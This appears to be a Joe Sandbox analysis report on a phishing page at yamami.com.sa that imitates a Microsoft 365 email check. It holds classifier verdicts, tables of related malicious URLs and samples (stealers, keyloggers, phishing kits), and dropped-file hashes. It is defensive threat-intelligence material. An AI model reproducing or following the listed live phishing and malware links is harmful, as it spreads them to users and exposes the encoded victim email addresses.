URL: https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw== Model: Joe Sandbox AI	{ "brands": [ "Microsoft 365" ] }
	{ "brands": [ "Microsoft 365" ] }
URL: https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw== Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "We need to verify it's you", "prominent_button_name": "Verify Email", "text_input_field_labels": [ "ydih8y@mgem.co" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw== Model: Joe Sandbox AI	{ "brands": [ "WES" ] }
	{ "brands": [ "WES" ] }
URL: https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw== Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft 365' is a well-known product of Microsoft, which is a well-known brand.", "The URL 'yamami.com.sa' does not match the legitimate domain 'microsoft.com'.", "The domain 'yamami.com.sa' does not appear to be associated with Microsoft or its services.", "The presence of a request to confirm an email address is a common tactic used in phishing attempts.", "The domain 'yamami.com.sa' is not a typical domain extension or structure used by Microsoft." ], "riskscore": 9} Google indexed: False
URL: yamami.com.sa Brands: Microsoft 365 Input Fields: Please confirm your email address to continue
URL: https://yamami.com.sa/paper/karoke/index#bGZhcnJlcmFAd2VzLm9yZw== Model: Joe Sandbox AI	```json{ "legit_domain": "unknown", "classification": "unknown", "reasons": [ "The brand 'WES' is not immediately recognizable as a well-known or known brand.", "The URL 'yamami.com.sa' does not directly associate with the brand 'WES'.", "The domain 'yamami.com.sa' appears to be a legitimate domain for a different entity, possibly a local or regional business in Saudi Arabia, given the '.sa' country code.", "There is no clear connection between the brand 'WES' and the domain 'yamami.com.sa'.", "The input field 'ydih8y@mgem.co' does not provide any additional context or association with the brand or domain." ], "riskscore": 7}
URL: yamami.com.sa Brands: WES Input Fields: ydih8y@mgem.co

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	Employee_Important_Message.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://google.dz/url?q=lbjaqJLi6z3yh&rct=tTPvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s%2fhandlingservice.com.br%2fyoya/sitg/YW15LmdpbHBpbkBjaGVyb2tlZWJyaWNrLmNvbQ==%E3%80%82$$$%E3%80%82	Get hash	malicious	Unknown	Browse
	#Ud83d#Ude0e.pdf	Get hash	malicious	Porn Scam	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	https://temp.farenheit.net/XWU9WdXVLQ1BPcVcwN28vNmJmQW9rZy9JbGl2YjNqdU82UXRXbjVuRDE4WHZ2S3E3MTh0U0RLVVRZRjcvL3o0M1ZEZW5HMGQ2cUJ6Q1dmd0d6MzNsK1IwNkc0c1FQTlFkODFpdjI1RE5wTTZrZjNNL2ZlNTNzb3kvbXlTenlUOC94REZCNXJyYzEwcDduQ0JYM1JvQnpTTEhpdHIzWXlMVFh3dnJkNWo5N3JWODhWWVd4MWx5T0pqcUNZQlY3ZHRFTktEUGRLRVR4czR1dTMvY282WURmWGE0TkhiSkd2dkNZOUlGWUE9PS0tVVdmbHMzdlpZZDU2aFdnMy0teWdvSnFiVklFSk13UEoyUlNUQzd4Zz09?cid=2308276595	Get hash	malicious	KnowBe4	Browse
	#Ud83d#Ude0e.pdf	Get hash	malicious	Porn Scam	Browse
	http://www.earthcam.net/refer/refer.php?h=1&t=ai&a=MjAyNDEwVExPTQ==&u=http:%2f%2fhidroregjioni-jugor.com%2fdayo/QNMvj/ZGF2aWRidWxsQGFya2ZpbmFuY2lhbC5jb20=	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	https://arul.top/01f3c0dpQXFEQ3l5SA1cBmsbOVh3DEM8Q2MgCVMxQxwwUwklUAoIEyISME4rEVI1JVQ1TkURCEBEeUo?_t1733230843322	Get hash	malicious	Phisher	Browse
13.227.8.47	https://www.wixsite.com/_api/invoice/2d5e7023-6014-4f5e-ab31-c1e25d999b96:9b27124a-a130-45dc-b81f-e5675b538826/view?token=56c18155-b636-4505-b95c-630f3d19901a	Get hash	malicious	HTMLPhisher	Browse
	AWB8674109965.html	Get hash	malicious	HTMLPhisher	Browse
	https://u48396839.ct.sendgrid.net/ls/click?upn=u001.6YeAQ6CJdNBv-2FudCmnBUfnGDeiTDEbkJBDYPt6L9zLs-2FLsak6B-2FHJOeuaA20CRyj4ymcnZhEANFrmmsKVXf7lykKGGim9NKe15FTuMOZuNBEFww2OP8BGALV3hzGu43iFj3whu7ElN-2FNYQWfEnFZNtXik-2Bc8xYTdlDDi-2B43g3xWfoVMN9Dsem2IaNiiX-2B-2BZ0QUoG_EefQjaPBlm3j-2F4SdpslfvAk7fHMHOXJ7LweRGvhfSEmfDfe568-2FY-2BOLHESUZOtre1SJ0b0hpgZyE9nNkk5TdPOPC4tMbl8SiWrItsarfSJPs2UVOaCUP5NH54Bsd5iepHuriwvocK8ytgM3DUdP-2FGahP9TgWP8NK8XkzPu1yHstDO59EN9oezB0Bvcj4q1reEb5SVFPJB790ukEQpDzKhgmB7njVUkFC8cDwRBiYm4JeBTEVj-2FO9L-2B-2B-2FOmACAmxhX3ZwjKn-2F44onZNgScafSE7DBg-2BaKyUPEhIs0htUoWnblk2BMfXpJIrTjI4RRPPL3aYkpTlROjrttDT-2FsPXJXV6Ht5SRUu-2B0FMc-2F6UTXOUHRIAToTaXExoh-2BhOHngBDGdH-2FjIVKS7GHuJm-2FScM7fL8YyMYHIc3ZF3zj-2FrNo1yxz6qQNvNwYKE88E7ss0Of03GH-2FJ0B8fjyNmYGjPzU42L4WTkis-2FCNDcoVJ6gJCIZpmjB42-2FzDW6h-2FUREH0NUo2OPfZ9i8VYJz7QmCHLGmxdxD04Jz41PYtN7DaspcbsjIDanjiifLEQrLEWmHGBUFW4S8xlKCRj6eGsM5ZaDHWshSLBdAzDSyuonhuBxtuYLeNVHermIaoXD85egwdLJYANewTDecNDoTikVJ8mQdl7ZtnugAlt3ha0w0KmdiGihn6nvMrhhJrSgrE-2B65pLabznZrU0JRBQYA244iDFukcakZMIzjlzqr9piWLEWATx3NZaoZsiDxjNPIcS-2BPZq07eqXM1Ulzf-2FqkjGpcDoFG-2FrwE0q08CJl0HkI1XntIga1RDU5EZi756rrs6KbGhi0n0UYyAPMzcKJ1GSCyUZR-2FjEg-2FvBTzHO-2FOloWzctFMjjbt8OJhXkQtpwpSzQ5WMHPnqPpU8mVl6-2F8VDi2j4ulsfLIYkFMQxs-2FFnpoz7jaZyont10-3D	Get hash	malicious	Unknown	Browse
	http://server.citierupticx.com/specId/product-mje%EF%BC%A0ml.avio.co.jp	Get hash	malicious	HTMLPhisher	Browse
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://digitalplatform-admin-p.azurewebsites.net/external-link/?targetURL=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25SERIAL%2525wDnNeW8yycT&sa=t&esrc=nNeW8F%25SERIAL%2525A0xys8Em2FL&source=&cd=tS6T8%25SERIAL%2525Tiw9XH&cad=XpPkDfJX%25SERIAL%2525VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/www.monument-funerar.ro/admin/view/image/payment/#test@example.de	Get hash	malicious	HTMLPhisher	Browse
	https://floreslaherradura.com/?uid=a2FuZGVyc29uQGJxbGF3LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
172.67.74.152	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Zc9eO57fgF.elf	Get hash	malicious	Unknown	Browse	api.ipify.org/
	67065b4c84713_Javiles.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	4F08j2Rmd9.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	y8tCHz7CwC.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipapi.co	https://application-workspace.com/red-bull/id-38772	Get hash	malicious	Unknown	Browse	104.26.9.44
	https://application-submit.com/form/redbull	Get hash	malicious	Unknown	Browse	104.26.8.44
	https://application-submit.com/form/redbull	Get hash	malicious	Unknown	Browse	104.26.9.44
	https://avidgroup.famislnc.com/fvcvfxfec/cc6d843dfd/?1f9da=amtsZW1wQGNhcmlzbHMuY29t	Get hash	malicious	Unknown	Browse	172.67.69.226
	https://www.google.co.ls/amp/s/2mzptv.s3.us-east-1.amazonaws.com/qr.html	Get hash	malicious	Unknown	Browse	172.67.69.226
	https://3r9e6kkr.r.us-east-1.awstrack.me/L0/https:%2F%2Fwww.google.ca%2Furl%3Fq=30NUMBER%26rct=77772474802481024856%26sa=t%26url=amp%2Fs%2Festudioit.cl%2Fstarl%2F%2523Y2FybGEuYWxkZW1pcjFAbWxjaW5zdXJhbmNlLmNvbS5hdQ==/1/0100019346ba248e-096005ca-8ea9-493d-b2f5-e0c34fd69fc0-000000/JH6rhkavYmTGSs9Zspd-vAN7bi8=401	Get hash	malicious	Unknown	Browse	104.26.8.44
	BOA-everbridge.com-$29,890.html	Get hash	malicious	Unknown	Browse	104.21.94.136
	http://wwwfucai13.cc	Get hash	malicious	Unknown	Browse	104.26.8.44
	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse	172.67.69.226
	https://www.google.ca/url?q=30NUMBER&rct=44304277659948745221&sa=t&url=amp/s/estudioit.cl/starl/%23YmhpbmVzQGlubm92aWEuY29t	Get hash	malicious	Unknown	Browse	104.26.9.44
d26p066pn2w0s0.cloudfront.net	Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.html	Get hash	malicious	HTMLPhisher	Browse	13.227.8.72
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=pztuconjvsFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Furlz.fr/tiku#dGFla3l1LmtpbUBoeXVuZGFpZWxldmF0b3IuY29t	Get hash	malicious	HTMLPhisher	Browse	13.227.8.64
	https://poga.blob.core.windows.net/$web/verify-your-account.html?sp=r&st=2024-12-02T06:26:51Z&se=2024-12-31T14:26:51Z&spr=https&sv=2022-11-02&sr=b&sig=AbN1l3IGSW5p4S%2Bg5uP%2BGMaA3Ltc8WWpTnk3GqW0l8c%3D#fdwncadmin@fd.org	Get hash	malicious	HTMLPhisher	Browse	13.227.8.64
	https://management.sigmaonline.ro/newsletter_re_news.php?from_email=&abonat_id=&newsletter_id=773&followLink=http://ezp-prod1.hul.harvard.edu/login?url=https://accotoxtnation.es/mime/#Y25pY2hvbHNAZGVyaWNrZGVybWF0b2xvZ3kuY29t	Get hash	malicious	HTMLPhisher	Browse	13.227.8.72
	AWB8674109965.html	Get hash	malicious	HTMLPhisher	Browse	13.227.8.47
	https://u48396839.ct.sendgrid.net/ls/click?upn=u001.6YeAQ6CJdNBv-2FudCmnBUfnGDeiTDEbkJBDYPt6L9zLs-2FLsak6B-2FHJOeuaA20CRyj4ymcnZhEANFrmmsKVXf7lykKGGim9NKe15FTuMOZuNBEFww2OP8BGALV3hzGu43iFj3whu7ElN-2FNYQWfEnFZNtXik-2Bc8xYTdlDDi-2B43g3xWfoVMN9Dsem2IaNiiX-2B-2BZ0QUoG_EefQjaPBlm3j-2F4SdpslfvAk7fHMHOXJ7LweRGvhfSEmfDfe568-2FY-2BOLHESUZOtre1SJ0b0hpgZyE9nNkk5TdPOPC4tMbl8SiWrItsarfSJPs2UVOaCUP5NH54Bsd5iepHuriwvocK8ytgM3DUdP-2FGahP9TgWP8NK8XkzPu1yHstDO59EN9oezB0Bvcj4q1reEb5SVFPJB790ukEQpDzKhgmB7njVUkFC8cDwRBiYm4JeBTEVj-2FO9L-2B-2B-2FOmACAmxhX3ZwjKn-2F44onZNgScafSE7DBg-2BaKyUPEhIs0htUoWnblk2BMfXpJIrTjI4RRPPL3aYkpTlROjrttDT-2FsPXJXV6Ht5SRUu-2B0FMc-2F6UTXOUHRIAToTaXExoh-2BhOHngBDGdH-2FjIVKS7GHuJm-2FScM7fL8YyMYHIc3ZF3zj-2FrNo1yxz6qQNvNwYKE88E7ss0Of03GH-2FJ0B8fjyNmYGjPzU42L4WTkis-2FCNDcoVJ6gJCIZpmjB42-2FzDW6h-2FUREH0NUo2OPfZ9i8VYJz7QmCHLGmxdxD04Jz41PYtN7DaspcbsjIDanjiifLEQrLEWmHGBUFW4S8xlKCRj6eGsM5ZaDHWshSLBdAzDSyuonhuBxtuYLeNVHermIaoXD85egwdLJYANewTDecNDoTikVJ8mQdl7ZtnugAlt3ha0w0KmdiGihn6nvMrhhJrSgrE-2B65pLabznZrU0JRBQYA244iDFukcakZMIzjlzqr9piWLEWATx3NZaoZsiDxjNPIcS-2BPZq07eqXM1Ulzf-2FqkjGpcDoFG-2FrwE0q08CJl0HkI1XntIga1RDU5EZi756rrs6KbGhi0n0UYyAPMzcKJ1GSCyUZR-2FjEg-2FvBTzHO-2FOloWzctFMjjbt8OJhXkQtpwpSzQ5WMHPnqPpU8mVl6-2F8VDi2j4ulsfLIYkFMQxs-2FFnpoz7jaZyont10-3D	Get hash	malicious	Unknown	Browse	13.227.8.72
	https://multikultural.az/web/v2/index.php?query=bWVubmVuQHNlbmlvcnNvbHV0aW9uc3Z0Lm9yZw==	Get hash	malicious	Unknown	Browse	13.227.8.72
	eInvoice.html	Get hash	malicious	HTMLPhisher	Browse	13.227.8.72
	http://server.citierupticx.com/specId/product-mje%EF%BC%A0ml.avio.co.jp	Get hash	malicious	HTMLPhisher	Browse	13.227.8.47
	https://multikultural.az/web/v2/index.php?query=ZW1ja2VubmFAY2hzaS5vcmc=	Get hash	malicious	Unknown	Browse	13.227.8.72
s3-r-w.us-west-2.amazonaws.com	Employee_Secure_Doc.pdf	Get hash	malicious	Unknown	Browse	3.5.77.183
	https://gamesnewhere.s3.us-west-2.amazonaws.com/rere.html	Get hash	malicious	Phisher	Browse	52.92.152.90
	phish_alert_sp2_2.0.0.0 (2).eml	Get hash	malicious	KnowBe4	Browse	52.92.237.170
	qrcode.png	Get hash	malicious	KnowBe4	Browse	3.5.76.228
	https://jdhcaap.succesful.org/XZFphS3Y3aTd3clF0ZnBTWTRocVM3QnZmTk13M3pEUjdRSGUyVG5TbGVIMzlFUFl5UUxSVmJXVzFuUEZ3RlgvalZwRlk2bDZoNzNyaDh1Z1VYdEZpbXVLckp1bHNjMFkxNTZSZC80UHUyZks4WU5lQ0w3TUxaSnp4eUhaaXlCWjgxZlhreUpUb0d0UWs2VUU2QXdMVXRhcFFyRWE2UG1qcTFXUnBkenN3SzBUNlBlQkdJVEhLdTJ1ME9UNEc3cFFtSGIzeHpFMTgwZWRzYXZxNy82REZhckRzRWRNZ1JnYz0tLWpwbFN2R1NyWGgyS3QrbmYtLVJjWnFLNXcvVVJpTk5KelQ1VXVmcFE9PQ==?cid=2276293354	Get hash	malicious	KnowBe4	Browse	52.218.180.169
	Eveshaw.pdf	Get hash	malicious	Unknown	Browse	3.5.85.200
	https://on-combine-data.s3.us-west-2.amazonaws.com/dealer-data/Share+Point/NTAS_MS3000X_Installer_v2.8.25_October2024_NO_UPS.exe	Get hash	malicious	Unknown	Browse	52.218.247.225
	https://e-sign-acrbatslgnatur3-na3d0cu-s3ttl3w3nt-vi3w-d0c-qanz7dg.s3.us-west-2.amazonaws.com/stationaries/confirmation/7253gdhsjHDSGD8374GDHSHDG3746gbds628r637dbf67whd/KtbxLxgVShqnkTnvnxXXfgcmtZDCqxDrLV/pay4app.html#anBvd2VyQGdlbXN0b25lZm9vZHMuY29t	Get hash	malicious	Unknown	Browse	52.92.192.114
	345831980-17357046212.docx	Get hash	malicious	Unknown	Browse	52.92.188.18
	345831980-17357046212.docx	Get hash	malicious	Unknown	Browse	52.92.237.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	https://temp.farenheit.net/XWU9WdXVLQ1BPcVcwN28vNmJmQW9rZy9JbGl2YjNqdU82UXRXbjVuRDE4WHZ2S3E3MTh0U0RLVVRZRjcvL3o0M1ZEZW5HMGQ2cUJ6Q1dmd0d6MzNsK1IwNkc0c1FQTlFkODFpdjI1RE5wTTZrZjNNL2ZlNTNzb3kvbXlTenlUOC94REZCNXJyYzEwcDduQ0JYM1JvQnpTTEhpdHIzWXlMVFh3dnJkNWo5N3JWODhWWVd4MWx5T0pqcUNZQlY3ZHRFTktEUGRLRVR4czR1dTMvY282WURmWGE0TkhiSkd2dkNZOUlGWUE9PS0tVVdmbHMzdlpZZDU2aFdnMy0teWdvSnFiVklFSk13UEoyUlNUQzd4Zz09?cid=2308276595	Get hash	malicious	KnowBe4	Browse	52.217.126.49
	http://www.earthcam.net/refer/refer.php?h=1&t=ai&a=MjAyNDEwVExPTQ==&u=http:%2f%2fhidroregjioni-jugor.com%2fdayo/QNMvj/ZGF2aWRidWxsQGFya2ZpbmFuY2lhbC5jb20=	Get hash	malicious	Unknown	Browse	63.33.81.165
	Infraccion-Multa.msi	Get hash	malicious	AteraAgent	Browse	108.158.75.12
	https://1wbapm.life	Get hash	malicious	Unknown	Browse	108.158.75.109
	https://four-shared-field.glitch.me/#admin@average-adjusters.com	Get hash	malicious	Unknown	Browse	108.158.75.69
	Pp7OXMFwqhXKx5Y.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	https://swacargo-onlinebooking.hangara.com/reset-password/?token=039295fa7b5c57036e17d5c333688b1e5807c54f2312e5961baa1794	Get hash	malicious	Unknown	Browse	3.15.74.6
	New Order.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	SW_5724.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	54.179.173.60
HETZNER-ASDE	file.exe	Get hash	malicious	Stealc, Vidar	Browse	95.216.107.53
	quotation.exe	Get hash	malicious	FormBook	Browse	88.99.61.52
	https://chargeview.live	Get hash	malicious	Unknown	Browse	78.46.0.148
	https://es.vecteezy.com/arte-vectorial/20279878-kyd-letra-logo-diseno-en-blanco-antecedentes-kyd-creativo-circulo-letra-logo-concepto-kyd-letra-diseno	Get hash	malicious	Unknown	Browse	116.202.167.133
	INTRUM65392.pdf.lnk	Get hash	malicious	Unknown	Browse	94.130.137.154
	SearchUII.exe	Get hash	malicious	Unknown	Browse	136.243.111.71
	SearchUII.exe	Get hash	malicious	Unknown	Browse	136.243.111.71
	Intrum618267.pdf.lnk	Get hash	malicious	Unknown	Browse	94.130.137.154
	mtbkkesfthae.exe	Get hash	malicious	Vidar	Browse	94.130.210.71
	tDLozbx48F.exe	Get hash	malicious	Gurcu Stealer	Browse	168.119.121.16
AMAZON-02US	https://temp.farenheit.net/XWU9WdXVLQ1BPcVcwN28vNmJmQW9rZy9JbGl2YjNqdU82UXRXbjVuRDE4WHZ2S3E3MTh0U0RLVVRZRjcvL3o0M1ZEZW5HMGQ2cUJ6Q1dmd0d6MzNsK1IwNkc0c1FQTlFkODFpdjI1RE5wTTZrZjNNL2ZlNTNzb3kvbXlTenlUOC94REZCNXJyYzEwcDduQ0JYM1JvQnpTTEhpdHIzWXlMVFh3dnJkNWo5N3JWODhWWVd4MWx5T0pqcUNZQlY3ZHRFTktEUGRLRVR4czR1dTMvY282WURmWGE0TkhiSkd2dkNZOUlGWUE9PS0tVVdmbHMzdlpZZDU2aFdnMy0teWdvSnFiVklFSk13UEoyUlNUQzd4Zz09?cid=2308276595	Get hash	malicious	KnowBe4	Browse	52.217.126.49
	http://www.earthcam.net/refer/refer.php?h=1&t=ai&a=MjAyNDEwVExPTQ==&u=http:%2f%2fhidroregjioni-jugor.com%2fdayo/QNMvj/ZGF2aWRidWxsQGFya2ZpbmFuY2lhbC5jb20=	Get hash	malicious	Unknown	Browse	63.33.81.165
	Infraccion-Multa.msi	Get hash	malicious	AteraAgent	Browse	108.158.75.12
	https://1wbapm.life	Get hash	malicious	Unknown	Browse	108.158.75.109
	https://four-shared-field.glitch.me/#admin@average-adjusters.com	Get hash	malicious	Unknown	Browse	108.158.75.69
	Pp7OXMFwqhXKx5Y.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	https://swacargo-onlinebooking.hangara.com/reset-password/?token=039295fa7b5c57036e17d5c333688b1e5807c54f2312e5961baa1794	Get hash	malicious	Unknown	Browse	3.15.74.6
	New Order.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	SW_5724.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	54.179.173.60
CLOUDFLARENETUS	Employee_Important_Message.pdf	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	fes.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	104.21.68.89
	#Ud83d#Ude0e.pdf	Get hash	malicious	Porn Scam	Browse	172.67.198.207
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	Document-v15-51-07.js	Get hash	malicious	Unknown	Browse	172.67.146.191
	hnskldjf230.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	Document-v15-51-07.js	Get hash	malicious	Unknown	Browse	172.67.146.191
	3GloGaDtsG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.6
	#Ud83d#Ude0e.pdf	Get hash	malicious	Porn Scam	Browse	104.21.13.77
	http://www.earthcam.net/refer/refer.php?h=1&t=ai&a=MjAyNDEwVExPTQ==&u=http:%2f%2fhidroregjioni-jugor.com%2fdayo/QNMvj/ZGF2aWRidWxsQGFya2ZpbmFuY2lhbC5jb20=	Get hash	malicious	Unknown	Browse	104.16.123.96

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Employee_Important_Message.pdf	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	https://google.dz/url?q=lbjaqJLi6z3yh&rct=tTPvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s%2fhandlingservice.com.br%2fyoya/sitg/YW15LmdpbHBpbkBjaGVyb2tlZWJyaWNrLmNvbQ==%E3%80%82$$$%E3%80%82	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	Document-v15-51-07.js	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	https://temp.farenheit.net/XWU9WdXVLQ1BPcVcwN28vNmJmQW9rZy9JbGl2YjNqdU82UXRXbjVuRDE4WHZ2S3E3MTh0U0RLVVRZRjcvL3o0M1ZEZW5HMGQ2cUJ6Q1dmd0d6MzNsK1IwNkc0c1FQTlFkODFpdjI1RE5wTTZrZjNNL2ZlNTNzb3kvbXlTenlUOC94REZCNXJyYzEwcDduQ0JYM1JvQnpTTEhpdHIzWXlMVFh3dnJkNWo5N3JWODhWWVd4MWx5T0pqcUNZQlY3ZHRFTktEUGRLRVR4czR1dTMvY282WURmWGE0TkhiSkd2dkNZOUlGWUE9PS0tVVdmbHMzdlpZZDU2aFdnMy0teWdvSnFiVklFSk13UEoyUlNUQzd4Zz09?cid=2308276595	Get hash	malicious	KnowBe4	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	Document-v15-51-07.js	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	#Ud83d#Ude0e.pdf	Get hash	malicious	Porn Scam	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	http://www.earthcam.net/refer/refer.php?h=1&t=ai&a=MjAyNDEwVExPTQ==&u=http:%2f%2fhidroregjioni-jugor.com%2fdayo/QNMvj/ZGF2aWRidWxsQGFya2ZpbmFuY2lhbC5jb20=	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 13.107.246.63 23.218.208.109
	https://odinling.es/sharep/sharepp/index1.html#info@securusmonitoring.com	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 23.218.208.109

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2128467421267795
Encrypted:	false
SSDEEP:	6:PAyq2Pwkn2nKuAl9OmbnIFUt8iABZmw+iAbkwOwkn2nKuAl9OmbjLJ:PAyvYfHAahFUt8iAB/+iAb5JfHAaSJ
MD5:	61E16A52CFA8E422AF68489875F0B180
SHA1:	F1009EEBE725C09581DF9C44CAC87FACBA7C231B
SHA-256:	697481B0B9100521D5D238C072D48AF4994D60E64447D9B3ABD562B1C48D4203
SHA-512:	CA6D327E0F8887175910FECC1089542091960029DCCF36D4FE33D569E8D2CE7C8DF1ECBEAEB11D8E427EDFB370C1DDC208B34554D8DF588C79E4165309EA336B
Malicious:	false
Reputation:	low
Preview:	2024/12/03-11:53:44.792 1f10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/03-11:53:44.794 1f10 Recovering log #3.2024/12/03-11:53:44.794 1f10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2128467421267795
Encrypted:	false
SSDEEP:	6:PAyq2Pwkn2nKuAl9OmbnIFUt8iABZmw+iAbkwOwkn2nKuAl9OmbjLJ:PAyvYfHAahFUt8iAB/+iAb5JfHAaSJ
MD5:	61E16A52CFA8E422AF68489875F0B180
SHA1:	F1009EEBE725C09581DF9C44CAC87FACBA7C231B
SHA-256:	697481B0B9100521D5D238C072D48AF4994D60E64447D9B3ABD562B1C48D4203
SHA-512:	CA6D327E0F8887175910FECC1089542091960029DCCF36D4FE33D569E8D2CE7C8DF1ECBEAEB11D8E427EDFB370C1DDC208B34554D8DF588C79E4165309EA336B
Malicious:	false
Reputation:	low
Preview:	2024/12/03-11:53:44.792 1f10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/03-11:53:44.794 1f10 Recovering log #3.2024/12/03-11:53:44.794 1f10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.238159929539574
Encrypted:	false
SSDEEP:	6:PAhA+q2Pwkn2nKuAl9Ombzo2jMGIFUt8iAhZmw+iA1VkwOwkn2nKuAl9Ombzo2jz:PAbvYfHAa8uFUt8iAh/+iA75JfHAa8RJ
MD5:	400862033C092F40D0495C4E2D6A9C4B
SHA1:	4A8CA5BCE1287D089DAEB44AEE6CC082983B4C49
SHA-256:	C3BBD38280FFE9A26AEE53DF098DB2C49154A9664D05A855F99322F5BF5D7B34
SHA-512:	0083B6511F237A3AC3A4BF1F63F5E837A337436BB43D552D2BE88A88570CF0A24C05815CC3E4088D5A0418CAC1A7A73C4930EA0DB1D853396F8509F7D29CEF4E
Malicious:	false
Reputation:	low
Preview:	2024/12/03-11:53:44.878 1fa8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/03-11:53:44.879 1fa8 Recovering log #3.2024/12/03-11:53:44.879 1fa8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.238159929539574
Encrypted:	false
SSDEEP:	6:PAhA+q2Pwkn2nKuAl9Ombzo2jMGIFUt8iAhZmw+iA1VkwOwkn2nKuAl9Ombzo2jz:PAbvYfHAa8uFUt8iAh/+iA75JfHAa8RJ
